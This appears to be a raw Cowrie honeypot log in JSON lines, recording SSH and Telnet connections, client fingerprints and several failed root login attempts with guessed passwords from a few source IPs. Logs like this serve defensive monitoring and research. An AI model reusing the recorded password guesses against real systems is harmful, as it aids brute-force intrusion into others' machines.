{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:27.923159Z","src_ip":"200.77.172.159","session":"b12ad3476688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"c63c0edc6333","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: c63c0edc6333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:35.385610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:35.390294Z","src_ip":"4.210.91.174","session":"c63c0edc6333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:35.457542Z","src_ip":"4.210.91.174","session":"c63c0edc6333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Push@8240","message":"login attempt [root/Push@8240] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:35.763303Z","src_ip":"4.210.91.174","session":"c63c0edc6333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:36.834388Z","src_ip":"4.210.91.174","session":"c63c0edc6333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48080,"dst_ip":"10.17.0.5","dst_port":23,"session":"38ec0dd86183","protocol":"telnet","message":"New connection: 50.6.8.71:48080 (10.17.0.5:23) [session: 38ec0dd86183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:37.471265Z"}
{"eventid":"cowrie.session.closed","duration":34.24369168281555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:39.438640Z","src_ip":"50.6.8.71","session":"a0a6e4d081bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48092,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d11f6aa24ac","protocol":"telnet","message":"New connection: 50.6.8.71:48092 (10.17.0.5:23) [session: 7d11f6aa24ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:41.937689Z"}
{"eventid":"cowrie.session.closed","duration":36.38935661315918,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:43.134843Z","src_ip":"50.6.8.71","session":"65f7afc5df79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43354,"dst_ip":"10.17.0.5","dst_port":23,"session":"cff6d7262f0c","protocol":"telnet","message":"New connection: 50.6.8.71:43354 (10.17.0.5:23) [session: cff6d7262f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:58.183010Z"}
{"eventid":"cowrie.session.closed","duration":33.84101676940918,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:01.500141Z","src_ip":"50.6.8.71","session":"b21faefae10a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.68427324295044,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:04.174982Z","src_ip":"50.6.8.71","session":"65f442b635cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50842,"dst_ip":"10.17.0.5","dst_port":23,"session":"5281385fa933","protocol":"telnet","message":"New connection: 50.6.8.71:50842 (10.17.0.5:23) [session: 5281385fa933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:05.697641Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50852,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab4bbe073ea2","protocol":"telnet","message":"New connection: 50.6.8.71:50852 (10.17.0.5:23) [session: ab4bbe073ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:11.555117Z"}
{"eventid":"cowrie.session.closed","duration":32.864814043045044,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:14.802394Z","src_ip":"50.6.8.71","session":"7d11f6aa24ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.60777473449707,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:15.078972Z","src_ip":"50.6.8.71","session":"38ec0dd86183","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47108,"dst_ip":"10.17.0.5","dst_port":23,"session":"096475108607","protocol":"telnet","message":"New connection: 50.6.8.71:47108 (10.17.0.5:23) [session: 096475108607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:22.184633Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47118,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbf843145bee","protocol":"telnet","message":"New connection: 50.6.8.71:47118 (10.17.0.5:23) [session: fbf843145bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:22.332413Z"}
{"eventid":"cowrie.session.closed","duration":40.43407917022705,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:38.616986Z","src_ip":"50.6.8.71","session":"cff6d7262f0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55834,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b3041b9a29e","protocol":"telnet","message":"New connection: 50.6.8.71:55834 (10.17.0.5:23) [session: 3b3041b9a29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:39.880558Z"}
{"eventid":"cowrie.session.closed","duration":34.52650284767151,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:40.224013Z","src_ip":"50.6.8.71","session":"5281385fa933","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":44922,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b029eaec543","protocol":"ssh","message":"New connection: 200.77.172.159:44922 (159.203.135.109:22) [session: 5b029eaec543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:41.796972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:41.814221Z","src_ip":"200.77.172.159","session":"5b029eaec543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:41.886396Z","src_ip":"200.77.172.159","session":"5b029eaec543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass","message":"login attempt [root/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:42.200868Z","src_ip":"200.77.172.159","session":"5b029eaec543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.214888334274292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:42.769869Z","src_ip":"50.6.8.71","session":"ab4bbe073ea2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:43.274970Z","src_ip":"200.77.172.159","session":"5b029eaec543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55838,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6a1fa0ff488","protocol":"telnet","message":"New connection: 50.6.8.71:55838 (10.17.0.5:23) [session: c6a1fa0ff488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:43.372627Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59638,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ca9512249c6","protocol":"telnet","message":"New connection: 50.6.8.71:59638 (10.17.0.5:23) [session: 5ca9512249c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:53.038000Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59640,"dst_ip":"10.17.0.5","dst_port":23,"session":"765ca9fc0172","protocol":"telnet","message":"New connection: 50.6.8.71:59640 (10.17.0.5:23) [session: 765ca9fc0172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:54.356180Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"593a29a4c82d","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 593a29a4c82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:58.139261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:58.145529Z","src_ip":"4.210.91.174","session":"593a29a4c82d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:58.213350Z","src_ip":"4.210.91.174","session":"593a29a4c82d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig!321","message":"login attempt [root/K0nig!321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:58.515247Z","src_ip":"4.210.91.174","session":"593a29a4c82d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:39:59.586019Z","src_ip":"4.210.91.174","session":"593a29a4c82d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.79762005805969,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:00.129917Z","src_ip":"50.6.8.71","session":"fbf843145bee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.2847843170166,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:00.469303Z","src_ip":"50.6.8.71","session":"096475108607","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.46033334732056,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:13.340787Z","src_ip":"50.6.8.71","session":"3b3041b9a29e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36558,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fb7d0a0084d","protocol":"telnet","message":"New connection: 50.6.8.71:36558 (10.17.0.5:23) [session: 8fb7d0a0084d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:16.003188Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36572,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e4d86dec217","protocol":"telnet","message":"New connection: 50.6.8.71:36572 (10.17.0.5:23) [session: 5e4d86dec217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:17.166487Z"}
{"eventid":"cowrie.session.closed","duration":39.60409235954285,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:22.976581Z","src_ip":"50.6.8.71","session":"c6a1fa0ff488","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36576,"dst_ip":"10.17.0.5","dst_port":23,"session":"f66608149f80","protocol":"telnet","message":"New connection: 50.6.8.71:36576 (10.17.0.5:23) [session: f66608149f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:24.970643Z"}
{"eventid":"cowrie.session.closed","duration":31.529449939727783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:25.885509Z","src_ip":"50.6.8.71","session":"765ca9fc0172","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.58139252662659,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:27.619264Z","src_ip":"50.6.8.71","session":"5ca9512249c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33434,"dst_ip":"10.17.0.5","dst_port":23,"session":"795b048fd1d6","protocol":"telnet","message":"New connection: 50.6.8.71:33434 (10.17.0.5:23) [session: 795b048fd1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:37.401381Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33442,"dst_ip":"10.17.0.5","dst_port":23,"session":"1399a10ff4b5","protocol":"telnet","message":"New connection: 50.6.8.71:33442 (10.17.0.5:23) [session: 1399a10ff4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:39.362307Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33448,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecfe8ae0f42c","protocol":"telnet","message":"New connection: 50.6.8.71:33448 (10.17.0.5:23) [session: ecfe8ae0f42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:40.269880Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33454,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4a74ca3f458","protocol":"telnet","message":"New connection: 50.6.8.71:33454 (10.17.0.5:23) [session: c4a74ca3f458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:45.260329Z"}
{"eventid":"cowrie.session.closed","duration":31.339655876159668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:47.342699Z","src_ip":"50.6.8.71","session":"8fb7d0a0084d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.437424898147583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:48.603766Z","src_ip":"50.6.8.71","session":"5e4d86dec217","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36442,"dst_ip":"10.17.0.5","dst_port":23,"session":"315d372fb0d5","protocol":"telnet","message":"New connection: 50.6.8.71:36442 (10.17.0.5:23) [session: 315d372fb0d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:49.994011Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36454,"dst_ip":"10.17.0.5","dst_port":23,"session":"d18546905d39","protocol":"telnet","message":"New connection: 50.6.8.71:36454 (10.17.0.5:23) [session: d18546905d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:53.644178Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33802,"dst_ip":"10.17.0.5","dst_port":23,"session":"48a140e1cfca","protocol":"telnet","message":"New connection: 50.6.8.71:33802 (10.17.0.5:23) [session: 48a140e1cfca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:57.222988Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":41732,"dst_ip":"159.203.135.109","dst_port":22,"session":"9421deab2b5a","protocol":"ssh","message":"New connection: 200.77.172.159:41732 (159.203.135.109:22) [session: 9421deab2b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:59.366312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:59.374338Z","src_ip":"200.77.172.159","session":"9421deab2b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:59.446912Z","src_ip":"200.77.172.159","session":"9421deab2b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Push@8240","message":"login attempt [root/Push@8240] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:40:59.768886Z","src_ip":"200.77.172.159","session":"9421deab2b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.12782311439514,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:00.098352Z","src_ip":"50.6.8.71","session":"f66608149f80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:00.846519Z","src_ip":"200.77.172.159","session":"9421deab2b5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"0026553b6218","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 0026553b6218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:16.391018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:16.395803Z","src_ip":"4.210.91.174","session":"0026553b6218","protocol":"ssh"}
